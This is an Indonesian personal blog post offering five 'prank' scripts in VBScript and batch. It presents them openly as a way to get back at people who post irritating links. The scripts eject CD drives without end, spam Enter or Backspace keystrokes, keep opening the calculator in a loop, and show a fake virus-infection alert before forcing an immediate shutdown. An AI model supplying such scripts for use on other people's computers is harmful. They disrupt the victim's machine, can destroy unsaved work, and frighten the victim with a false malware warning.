About Me
Nama saya Raka Nizart, Saya hanyalah seorang remaja yg mencoba untuk berkreasi ,Saya Bukan Seorang Blogger, Desainer atau Apapun Tapi Saya Hanya Seseorang Yang Ingin Selalu Belajar dan Ingin Tahu Sesuatu Yang Baru...

Nov 7, 2011

Script-Script Jahil Komputer

seringkah anda menjumpai link yang bikiin kesel dan membuat kita emosi ?nah disinilah saatnya untuk membalasnya :D hehehe , seperti postingan yang saya buat sebelumnya , cara menggunakanya seperti biasa yaitu lewat  NOTEPAD ...


1. Meng-eject Drive CD-Room Terus-Menerus

Code:

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop



2. Tombol Enter Terus-terusan Aktif
Code:

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop


3. Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.)

Code:

MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

4. Iseng Dengan Membuka Calculator Terus Menerus
Code:

@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top

5. Iseng Dengan Shutdown Komputer
Code:

@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

Mungkin bacaan dibawah ini ada yang sobat suka ..

0 comments :

Post a Comment

budayakan berkomentar ya ...

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Skull Belt Buckles
online casino